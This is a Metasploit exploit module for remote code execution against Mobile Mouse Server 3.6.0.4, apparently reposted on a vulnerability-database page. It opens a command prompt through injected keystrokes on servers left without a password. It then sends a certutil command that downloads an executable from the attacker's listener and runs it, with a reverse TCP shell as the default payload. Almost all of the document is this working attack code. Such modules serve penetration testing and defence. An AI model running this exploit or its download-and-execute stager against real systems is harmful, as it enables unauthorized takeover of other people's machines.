`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Exploit::Remote::Tcp
include Exploit::EXE # generate_payload_exe
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Mobile Mouse RCE',
'Description' => %q{
This module utilizes the Mobile Mouse Server by RPA Technologies, Inc protocol
to deploy a payload and run it from the server. This module will only deploy
a payload if the server is set without a password (default).
Tested against 3.6.0.4, current at the time of module writing
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'CHOKRI HAMMEDI' # edb
],
'References' => [
[ 'EDB', '51010' ],
[ 'URL', 'https://mobilemouse.com/' ],
],
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Platform' => 'win',
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' => [
['default', {}],
],
'Payload' => {
'BadChars' => "\x04\x1E"
},
'DefaultOptions' => {
'PAYLOAD' => 'windows/shell/reverse_tcp'
},
'DisclosureDate' => '2022-09-20',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK] # typing on screen
}
)
)
register_options(
[
OptPort.new('RPORT', [true, 'Port Mobile Mouse runs on', 9099]),
OptInt.new('SLEEP', [true, 'How long to sleep between commands', 3]),
OptString.new('PATH', [true, 'Where to stage payload for pull method', 'c:\\Windows\\Temp\\']),
OptString.new('CLIENTNAME', [false, 'Name of client, this shows up in the logs', '']),
]
)
end
def path
return datastore['PATH'] if datastore['PATH'].end_with? '\\'
"#{datastore['PATH']}\\"
end
def connect_command
connect_command = 'CONNECT' # 434F4E4E454354
connect_command << "\x1E\x1E"
connect_command << @client_name
connect_command << "\x1E"
connect_command << 'iPhone' # 6950686F6E65
connect_command << "\x1E"
# the next 2,2 may be a version number of some sort
connect_command << '2' # 32
connect_command << "\x1E"
connect_command << '2' # 32
connect_command << "\x1E\x04"
sock.put(connect_command)
sleep(datastore['SLEEP'])
end
def open_command_prompt
open_command_prompt = 'KEY' # 4b4559
open_command_prompt << "\x1E"
open_command_prompt << '114' # 313134 windows key?
open_command_prompt << "\x1E"
open_command_prompt << 'r' # 72
open_command_prompt << "\x1E"
open_command_prompt << 'OPT' # 4f5054
open_command_prompt << "\x04"
sock.put(open_command_prompt)
sleep(datastore['SLEEP'])
end
def script_content(payload)
script_content = 'KEY' # 4B4559
script_content << "\x1E"
script_content << '100' # 313030
script_content << "\x1E"
script_content << payload
script_content << "\x1E\x04"
script_content << 'KEY' # 4B4559
script_content << "\x1E"
script_content << '-1' # 2d31
script_content << "\x1E"
script_content << 'ENTER' # 454e544552
script_content << "\x1E\x04"
sock.put(script_content)
sleep(datastore['SLEEP'])
end
def on_request_uri(cli, _req)
p = generate_payload_exe
send_response(cli, p)
print_good("Payload request received, sending #{p.length} bytes of payload for staging")
end
def check
if datastore['CLIENTNAME'].blank?
@client_name = Rex::Text.rand_text_alphanumeric(5..10).to_s
print_status("Client name set to: #{@client_name}")
else
@client_name = datastore['CLIENTNAME']
end
connect
print_status('Connecting')
connect_command
res = sock.get_once
if res.nil?
return CheckCode::Unknown('No response received from target')
end
disconnect
res = res.split("\x1E")
if res[1] == 'NO'
return CheckCode::Safe("Unable to connect, server response: #{res[4]}")
end
CheckCode::Appears("Connected to hostname #{res[3]} with MAC address #{res[5]}")
end
def exploit
if datastore['CLIENTNAME'].blank?
@client_name = Rex::Text.rand_text_alphanumeric(5..10).to_s
print_status("Client name set to: #{@client_name}")
else
@client_name = datastore['CLIENTNAME']
end
connect
print_status('Connecting')
connect_command
res = sock.get_once
if res.nil?
fail_with(Failure::Disconnected, 'No response received from target')
end
res = res.split("\x1E")
if res[1] == 'NO'
fail_with(Failure::NoAccess, "Unable to connect, server response: #{res[4]}")
end
vprint_good("Connected to hostname #{res[3]} with MAC address #{res[5]}")
print_status('Opening Command Prompt')
open_command_prompt
# for whatever reason, if we don't read here the server doesn't want to keep playing with us, so read but throw away
sock.get_once
print_status('Sending stager')
filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.exe'
register_file_for_cleanup("#{path}#{filename}")
# I attempted to put this all in one, stage, run, exit, but it was never successful, so we'll keep it in 2
stager = "certutil.exe -urlcache -f http://#{datastore['lhost']}:#{datastore['SRVPORT']}/ #{path}#{filename}"
start_service('Path' => '/') # start webserver
script_content(stager)
print_status('Opening Command Prompt again')
open_command_prompt
print_status('Executing payload')
script_content("#{path}#{filename} && exit")
handler
disconnect
sleep(datastore['SLEEP'] * 2) # give time for it to do its thing before we revert
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation